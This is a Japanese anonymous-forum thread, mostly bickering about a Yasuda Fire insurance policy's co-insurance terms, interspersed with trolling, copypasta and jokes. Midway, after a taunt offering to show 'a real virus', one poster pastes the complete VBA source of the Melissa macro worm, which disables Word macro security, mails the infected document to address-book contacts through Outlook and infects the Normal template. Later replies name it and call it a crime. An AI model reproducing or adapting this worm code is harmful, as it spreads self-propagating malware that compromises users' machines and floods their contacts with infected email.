＠＠＠

ホットメールにウィルスが入れば ホットメールでメンテするでしょ
それに ホットメールはダウンしていない。
留め置きメーラーでどうしてウィルスが炸裂すんの？？
あなた おおうそつき！！！！！！！

問題をすりかえないで下さい！

約款上の問題でしょう？

ウィルスの問題でしょ？？
頭 わるいの？？？

安田の話でしょう？

約款なんか知るかーー
うちは県営団地じゃ

また ダウンしましたね、 すぐに戻ります。

火災保険スレにカキコが殺到しすぎた。

直メアド入れときなー
本物のウィルスってどんなんか おしえてやるよーー

僕の持ってる約款には、共同保険のことかいてないよ。

Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creaｔable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(""，
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"，
"Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString(""，
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"，
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook， DasMapiName， BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString(""，
"HKEY_CURRENT_USER\Software\Microsoft\Office\"， "Melissa?") <> "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "ｐrofile"， "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(""，
"HKEY_CURRENT_USER\Software\Microsoft\Office\"， "Melissa?") = "... by
Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1， ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1， NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1， 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN， 1) <> ""
ToInfect.CodeModule.InsertLines BGN， ADI1.CodeModule.Lines(BGN， 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1， 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN， 1) <> ""
ToInfect.CodeModule.InsertLines BGN， NTI1.CodeModule.Lines(BGN， 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1， ActiveDocument.Name，
"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1， ActiveDocument.Name， "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points，
plus triple-word-score， plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub

メデゥサのソースですね
トロイの木馬型 ウィルスです、　犯罪ですね

約款の中 より
表紙の見開きと裏表紙に書いてあります、
平成１３年４月版

＠＠＠の母でございます。
　このたびは、息子がこのようなスレッドを立ててしまい、
皆様には大変ご迷惑をおかけしております。深くお詫び申し上げます。
　息子は幼い頃に父親を無くし、そのショックで内気な子供になって
しまいました。そのせいか、小・中学校ではいじめにあっていたのです。
　この年になるまで、恋人はおろか友達さえもいないようで、大変心配
いておりましたが、この2ちゃんねるというサイトを知って以来、息子も
少し明るくなったようです。「今日ロビーでね、ませいドキュソがさあ…」
と、とても楽しそうに夕食の時に話してくれるのです。
　どうぞ皆様、息子を暖かく迎えてやってくださいまし。本当は良い子なんです。
よろしくお願い申し上げます。
　　　　　　　　　　　　　　　　　　　　　　　　＠＠＠の母より

＞＞１４
裏表紙に会社の一覧があるだけ。
約款の中に書いてないと意味ない。
割合も書いてないし、一部が破綻した場合の規定も書いてない。

約款に不備ありで決まり。終了！

怖い

怖い

怖い

怖い

いやいや

いやいや

いやいや

いやいや

いやいや

いやいや

いやいや

>>11＠｀12さん
社印さんですか？

さぶ〜

現在転職活動をしていて、安田火災も受けています。（一般事務）
でも、書き込みを読んで不安になりました。
仕事自体もサービス残業でめっちゃ忙しいって聞くし。
汚い会社で働くのはいやだな．．．

裏表紙に会社の一覧があるだけ。
約款の中に書いてないと意味ない。
割合も書いてないし、一部が破綻した場合の規定も書いてない。

書いてなかったら どうなの？？

約款に不備があるってことです。

安田火災って・・・
投稿者: toshicyan2002 (32歳/jp)
安田火災ってこんなにトラブルが多いんだ。
どおりで業績いいはず。だって法すれすれで保険金出し渋ってんだもん

>>13
メリッサはトロイじゃねーよ、ＶＢＡマクロのワームじゃ

社印さんは物知りですね。

３６番なんかあやしよ。

>>37
あとで気が付いた、

>>41
ひさしぶりだな

うざい！！

>>43
そういうなよ
長い付き合いになるかもよ

これはこれは 殿もごきげんうるわしゅう存じます。
また いいですか？？
光るーー海ー　光るーー大空　　光ーる第一ーー
有効 無限の 地平線ーーーー

>>41
お前って、人権派ｘｘの子分だろ！？
悪い上司持ったなあ。。。

ワケ分からん。

どうして6件しか掲示板に載ってないの？何があったの？

走れ！エイトマーン！弾よーりも早ーく

北の国からご苦労様

>>45
みんなが説明求めてるぜ！！
ニセーイ・エイトマンよ！！

誰かが吹っ飛ばしたのさーー

>>all
今日は、結構早い時間（21:00過ぎかな？）に板飛びしたんだ
>>45
顧客への説明義務はどうした！！

安田だけじゃないよ。
どこも似たようなもんだよね。
忙しさも、汚さ？もね。

>>45
おい！！今夜も寝れないぞ！！
ちゃんと説明しろ！！ニセーイ・エイト！！

殿！！
社名はご法度です！！！

>>45
逃げるな！！ニセーイ・エイト！！
卑怯モン
ついでにお前の会社ボケモン
→ピカツーの仲間ボケットモンスター：ニセーイ

>>55
をを、逃げないでくれたか
ちなみに、漏れは北条家の内管領だから、殿じゃないぞ

それではみなさま
さーーーーよーーーオーーーなーーーらーーーー

ぷーーーーー

逃げたか
金沢支社のＮよ

>>58
ふむ
いぢめすぎたかな
結果は同じなんだが

自分のホットメールにメールボムとトロイとハッピー９９とメリッサとか
いろいろ 送ってもらって実験したけど なんにもならなかったよ、
ハッピー９９は花火見れたけど メーラーには付いて来ないし
サーバーも倒れなかったよ、　以上 報告おわりーー

>>ピンキーさん
おひさぶりぶり
スノボーの旦那によろしくー